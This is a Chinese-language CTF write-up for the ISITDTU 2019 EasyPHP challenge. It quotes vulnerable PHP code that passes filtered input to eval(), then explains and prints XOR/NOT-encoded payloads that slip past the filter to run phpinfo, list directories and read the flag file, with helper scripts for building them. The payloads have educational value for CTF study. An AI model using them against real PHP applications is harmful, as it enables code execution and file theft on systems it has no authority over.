[CTF]WriteUp第42篇

[ISITDTU 2019]EasyPHP

思路

题目给出源码

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

可以看到有两个过滤
一是要求不能有特定字符,推荐一个正则检验的网站:regex101: build, test, and debug regex
经测试,可以用:

()^~;

二是字符种类不能超过十三个,count_chars的mode3是数去重字符

解题

通过过滤的字符可以看到应该是取反或者异或绕过,同时要能够调整字符种类不能超限
参考文献:BUUCTF:[ISITDTU 2019]EasyPHP_buuctf [isitdtu 2019]easyphp-CSDN博客

从网上学了个很好的思路
我把方法和解题分开讲吧

如何执行命令

phpinfo();为例,先转化为异或绕过的形式

phpinfo();
(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 注意与全1异或就是取反

由于字符类型小于13,可以直接传参执行
这里演示如何缩减字符种类

我们先把用到的字符拿出来
然后用三重异或去替换原来的字符,如果能替换,那么原来的字符就可以不要了,减少一类

<?php

$arr1 = ["%8F","%97","%96","%91","%99","%90","%FF"];
$arr2 = ["%8F","%97","%96","%91","%99","%90","%FF"];
$tmp = [];
foreach ($arr1 as $a) {
    foreach ($arr2 as $b)
    foreach ($arr2 as $c)
    foreach ($arr2 as $d) {
        if ((urldecode($b)^urldecode($c)^urldecode($d))==urldecode($a)) {
            if ($a == $b && $b == $c && $c == $d)
                continue;
            else if ($a == $b || $b == $c || $c == $d)
                continue;
            else {
                echo "a:$a, b:$b, c:$c, d:$d\n";
                if (!in_array($a, $tmp)) 
                    $tmp[] = $a;
            }
        }
    }
}
$len = count($tmp);
echo "len: $len";

其中,$arr1为我们用到的字符
我们在$arr2中找三个字符,看看异或结果是否为$arr1的字符
如果对于$arr1的每个字符,都可以用$arr2中的三个字符来异或得到,那么我们就称$arr2可以构成$arr1

我们先删除$arr2的第一个元素,运行看看长度是否与$arr1一致,若是不一致则退回删除。
依此测试第二个、第三个能不能删除,最终得到$arr2的精简版:

$arr2 = ["%8F","%96","%91","%99","%90","%FF"];

可以看到比$arr1少了一个元素”%97″,成功精简

为什么要用三个元素来替换一个呢?不能两个吗?这是由异或的性质决定的
我们知道两个相同的数异或为零:0^0=0, 1^1=0
而零异或任何数都会保持原样:0^1=1, 0^0=0
那么,我们其实可以省略多元异或中的相同的两个元,也可以添加两个相同的元

// 原始:
phpinfo();
// 异或:
(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 等值的异或:添加了两个%8F%97%8F%96%91%99%90
(%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();

我们可以在输出中找到%97的替换方案:

于是我们替换:

// 原始:
phpinfo();
// 异或:
(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 等值的异或:添加了两个%8F%97%8F%96%91%99%90
(%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 替换前
(%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 替换后
(%8F%96%8F%96%91%99%90^%8F%91%8F%96%91%99%90^%8F%90%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();

测试,可以使用

解题思路

先phpinfo看看disable_function,发现很多命令执行都被禁了
可以用scandir扫描一下目录,用print_r或者var_dump输出

print_r(scandir(.));
// 精简字符:
(%8D%8D%91%91%8C%A0%8D^%9C%8D%9C%91%9C%A0%8D^%9E%8D%9B%91%9B%A0%8D^%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%91%8D^%8C%9C%9E%91%9B%9C%8D^%8C%9C%9E%91%9B%9B%8D^%FF%FF%FF%FF%FF%FF%FF)(%FF^%D1));
Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

那我们读一下这个n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt就行,可以用readfile或者show_source来读
如果直接把这个长长的文件名作为函数参数,恐怕字符类型太多了,因此可以用end()来获取数组的最后一个元素

show_source(end(scandir(.)));
// 精简字符:
(%8D%9C%9A%8D%A0%8D%9A%8D%8D%9C%9A^%9A%9A%91%9B%A0%9A%91%9C%8D%9C%9A^%9B%91%9B%9E%A0%9B%9B%9B%8D%9C%9A^%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF)((%9A%91%9B^%FF%FF%FF)((%8D%9C%9E%91%9B%91%8D^%9A%9C%9E%91%9B%9C%8D^%9B%9C%9E%91%9B%9B%8D^%FF%FF%FF%FF%FF%FF%FF)(%FF^%D1)));
flag{04f77e39-fb87-4e4e-8361-9dd7c72a277b}

附赠一个小工具

<?php

// 从字符串中获取所有的urlcode,去重放在一个数组中,格式%..
$my_used_sec = "(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();";
// 正则匹配所有
$matches = [];
preg_match_all('/%[0-9a-fA-F]{2}/', $my_used_sec, $matches);
// 去重
$all_code = array_values(array_unique($matches[0]));
// 输出为["%..", "%.."]的格式
echo "[";
$first = false;
for ($i = 0; $i < count($all_code); $i++) {
    if ($first) {
        echo ",";
    }
    $first = true;
    echo "\"$all_code[$i]\"";
}
echo "]\n";

可以在一行字符串中提取你用到的urlcode
修改$my_used_sec即可

注意

之前没有注意过这方面的细节,要多加练习了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇